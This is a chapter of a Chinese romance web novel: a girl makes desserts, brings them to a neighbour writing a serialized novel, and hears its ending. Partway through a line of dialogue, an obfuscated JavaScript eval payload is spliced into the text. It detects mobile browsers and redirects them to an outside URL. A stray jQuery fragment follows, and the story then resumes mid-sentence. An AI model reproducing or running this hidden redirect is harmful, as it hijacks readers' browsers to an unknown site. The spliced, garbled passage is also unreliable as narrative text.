天蒙蒙亮,缭绕在半空中的晨雾还未完全散去,而昨夜的毛毛雨依然留有余悸。
虞映棠梳洗完毕,对着镜子将一头乌黑的长发松松挽个纂儿,斜插一根老银簪子。她觉得有点单调,便从抽屉拿出串着一颗金铃子的红绳,攀附在簪子上面,走路时有极细碎的声响,添了几分活泼。
隔壁是虞奶奶的房间,里面设置了一个小小的佛堂,自从虞爷爷中风离世后,她一直供奉着这尊佛菩萨。心念纯正,一心求佛,只愿身边人都无病无灾。
虞映棠路过房门时还能听到虞奶奶正在轻声诵读经本,门缝里传出香火味,带点微苦的药感。她没出声打扰奶奶的修行状态,下楼之际脚跟因惯性而先着地,以此来减轻脚步声。
进灶间的第一件事,就是把窗户打开,流通新鲜空气。她取出手动打蛋器,先用热水把抹茶粉冲开,再添加鲜牛奶和白凉粉,不停地搅拌至无颗粒的抹茶糊。
锅中的抹茶糊煮沸后还冒出小气泡,她先去除掉小气泡,再倒入圆形模具里,放进冰箱的冷藏区,一个小时后再取出。
她洗干净手,将糯米粉与糖混合,缓慢加入温水,揉成光滑的面团。然后把面团分成的小剂子搓成圆球状,放入烧开水的锅中,浮起后再煮了会儿,立即捞出过一遍冰水,让丸子变得更加Q弹。
康女士打着哈欠进来:“你怎么这段时间都起这么早啊?”
“早睡早起身体好呗!”虞映棠正在将凝固的奶冻,还有糯米丸子、芋圆、红豆一同放入碗中,倒入适量的椰汁,撒了一点黄豆粉。
康女士穿上围裙把碗碟、勺子等餐具放入消毒柜进行消毒,感叹道:“我嘞个乖乖,你这都赶上你奶奶早起的进度了。”
“那是!”虞映棠挑了挑眉,一副你快夸我能干的小表情。
康女士瞧见台面上已经备好电子秤、量杯、长勺柄等计量工具,一些水果也已经清洗干净,眸光亮如星子:“有你这女儿,是我的福气呢。”
冰箱里放着装有碧螺春蜜瓜软酪的木质食盒,每个浅绿色的软酪上面都会摆放两朵茉莉花苞。虞映棠取了一盒出来,分了两个给康女士,“哥昨晚做好的吧,我躺被窝里才听见他上楼的声音。”言外之意就是在告诉她:你有这么个勤劳的儿子和女儿,是拥有了加倍的福气。
“是他做的。”康女士当时在打扫卫生,忙完后给他打着下手。
虞映棠一口咬了一半,可以看见奶酪裹着小块的淡黄色的蜜瓜,软糯拉丝的感觉立马涌上心头:“超级好吃诶!”
“坏了,衣服忘记挂出去了,这下雨天气衣服都得臭了。”康女士才想起昨晚洗完的衣服都还待在洗衣机里,在围裙上擦了擦手,立马往楼上跑。
虞映棠轻声出笑,咀嚼完毕后顺手盖上陶瓷碗的盖子,并毫不犹豫地叠了四个软酪,一起装进玲娜贝儿手提包里。
她前脚刚走,康女士和虞唯从楼上下来了,康女士见灶间的灯关了,环顾四周道:“糖糖她人哪去了?”
“可能出去透气了。”虞唯的头发有些睡炸毛,他对着手机屏幕进行捋顺。
叶面鲜绿色的芭蕉叶铺满光泽,是被洗过的崭新样子,倚着墙角生存。虞映棠瞧见有小鸟落在上面梳羽毛,便拿出手机快门按下,喜欢捕捉生活中的任何画面。
“棠棠,趁着没雨早起散步啊。”邻居阿姨提了个装菜的篮子,把刚买好的韭菜包子和豆奶放进篮子里。
虞映棠用着恰如其分的语调:“是哩。”
她走到裴叙年家门口时,童姨端着浸泡了一晚上的空心粉出来滤水,“映棠来啦,快看,浸泡好的空心粉白白净净的。”
虞映棠看向她手中的水舀子,完全够三个人的份量,心有灵犀一点通:“今早又能吃到童姨做的美味早餐了。”
“年仔起来了,在房间里给猫咪喂食,你直接进去吧,我去厨房煮早餐。”童姨睡醒后更有精神气了,说话都更利索。
虞映棠先敲了门,听到回应后再推门进去的,瞧见裴叙年拿着盲文标记的量杯,控制喂食量。
“康定。”康定听到他喊自己的名字,形成条件反射并主动靠近,低着脑袋在食盒里进食。
虞映棠蹲下身,轻拍康定的背部,嘟起嘴道:“你这胡须怎么有点脏兮兮的。”
他解释道:“它老爱趴在窗户面前,雨点溅落时会把灰尘扑在脸上,我可能没擦拭干净。”
她起身去书桌上抽了一张湿纸巾,逮着康定擦拭干净,再放它去吃东西。“对了,我带了软酪,你要不要先吃两个。”她的身量不高,堪堪到他的肩头。
小时候虞映棠踮着脚尖,趴在灶台看童姨在锅里做松鼠桂鱼,那时她刚到他胸口。十几岁时她长个子,下巴快够到他肩膀了,他笑着说:“快了快了,再过两年我该鼻孔朝天看你了。”再后来,她就不怎么长了,停在他肩膀往下一点点的地方。
裴叙年感知到她从对面走近,他依然能精准地微微垂眸——不是低头去找,而是记忆里她就在那个位置,从未变过。
“碧螺春蜜瓜味?”
她知道他的嗅觉神探,嘿嘿一笑道:“我太饿了,从家里吃了几个出来。”
他露出一个了然的笑,伸手去接她递过来的软酪,边咀嚼边说:“依旧软糯糯的,很清香。”
她的面容带着小傲娇:“是吧!这次是哥做的,我也觉得很好吃。”
话音刚落,童姨拾好碗筷上桌,传来的声音夹杂着一丝沙哑:“吃早餐咯。”
“阿姨,吃这个软酪。平时都是我妈和我做的,这还是我哥第一次做呢。”虞映棠拿勺子舀空心粉,里面加了火腿肠和鸡蛋,还能挑出稀疏的丝瓜。
童姨悠悠地回想那些往事,低笑着说:“小唯他从小就不爱吃点心,还嫌干巴,没想到做点心可真是一把好手。”她没坐下,直接盛满了一碗空心粉,去找对面的老奶奶唠嗑去了。
裴叙年听到雨点击打在墙上的声响,突然想起夜里口述的半章内容,“连载文今天就能完结了,要不要现在告诉你?”这进度比预期更晚一些,添加了一部分支线任务。
虞映棠眨眨眼睛看着他,像只一惊一乍的小兔子,“好呀。”
他的情绪有些茫然,干涩道:“张秉川彻底脱离了苦海。”
她以为主角张秉川过上了幸福美满的生活,毕竟从贫穷大山里逃出来,再经历种种生活上的失意和挫折,又在骑行的旅途中遇到了一个坚韧乐观的女孩子,日子会慢慢变好的。
“阅读这本书的途中我还一直掉眼泪呢,总希望运气能够朝着张秉川拥抱,让他能够过得幸福,现在终于等到了。”
裴叙年顿了顿,随即平静地说出自己心里最初的构思,描述清楚:“他在绑架事件中深受重伤,当场没了,从此便不再痛苦,脱离苦海了。”
她共情能力很强,眼里蓄着泪花道:“是不是为了救那个给他提供住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700062|208124||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宿的女孩子竹心?”每一段旅途,主角张秉川会偶遇形形色色的人,有好的也有坏的,但从不同对待方式来看,她狠狠地磕张秉川和竹心这一对。
他吃了口抹茶奶冻丸子,摇摇头,“你再猜猜。”
她反复复盘剧情线,灵光乍现,皱紧眉头道:“难不成是那个与竹心相依为命的老婆婆?”
他内心蛮震惊的,这个角色压根都没出过几次场,自认为伏笔埋得挺深,“还真被你猜对了。”
“这其实与拯救竹心而牺牲没有什么很大的区别,保护一个人就等同于保护对方的生存意义。”虞映棠用纸巾偷偷擦掉眼泪,真的太令人泪眼婆娑了。
她说完这句话后,他一时没接话,待稍作调整,才发涩开口:“整本书大概有四十万字,没想到你能把内容记得这么清楚。”有些感动不需要落泪,反而是心跳倏然慢了半拍。
“除了背课文和古诗,我记忆力还是挺不错的。”实则她等更新的途中,会经常翻阅以前的剧情,从头至尾逐字逐句地用心阅读。
裴叙年放下手中的勺子,歪头轻笑时脖颈青筋微凸。童姨端着空碗回来,也跟着笑道:“你这一大早心情就如此好,今天肯定有动力把结局写完吧。”
虞映棠瞟了眼钟表,已经到糖水店开铺的时间了,她起身凑近童姨的耳边,悄咪咪说:“我都提前知道剧情了呢。”
童姨的眼睛瞪得比铜铃还大,她之前改错别字的时候问过他后面是怎样发展的,这臭小子都会果断拒绝掉,说什么不剧透,现在好了,水灵灵地说出去了。
“快告诉我,我也想知道。”
“天机不可泄露。”虞映棠不由自主地跑向门口,眸中笑意宛如一汪春水,“我先回店里工作啦。”
裴叙年依旧提醒:“路上别跑。”
虞映棠象征性点点头,随即放缓步子,朝店铺方向走。她的心绪有些放空,送完今天早上的第一份甜食,比赛的惩罚也就结束了,回归往日的一份式。
她的脑袋里正苦想着要如何每天见裴叙年两次,刚有点头绪,却被呼喊的声音打断:“糖糖。”
康女士和一位穿着改良立领旗袍的孟阿姨站在一起,待虞映棠走过来后两人相视而笑。她见过这个孟阿姨几面,前不久刚从杭州搬过来的旗袍店主的妈妈。
“阿姨,早上好。”
孟阿姨拉了拉薄棉小坎肩,柔和道:“你家女娃娃好有礼貌。”她眺望了一眼虞唯的身影,用手肘轻轻碰了碰康女士的手臂,开玩笑道:“你家男娃娃也是这种脾性?”
“肯定啊,只不过他比较腼腆,性子更慢热一些。”康女士没有使劲夸自家儿子,她听过媒婆讲出口的花枝乱颤话:介绍男孩子个子不仅高还壮,看着可憨厚老实了,结果体重超过两百斤,是个自闭症患者;介绍女孩子五官端正,是个踏实过日子的人,实则花心大萝卜,天天爱出去蹦迪。
孟阿姨捂住康女士的手,挑了挑眉直白道:“我个人觉得挺好的,改天见见。”
康女士忍不住弯了唇角,“可以的。”
待孟阿姨走后,虞映棠摸着下巴若有所思道:“你俩聊啥呢?”
康女士尽量放低声音说:“这不急着给你找个嫂子,亲戚们给你哥介绍的对象,他一个都没相中。”
虞映棠回想起亲戚们发过来的那些照片,直呼道:“好家伙。”随即全身发毛,别说虞唯没相中了,她也属实没看见合眼缘的嫂子。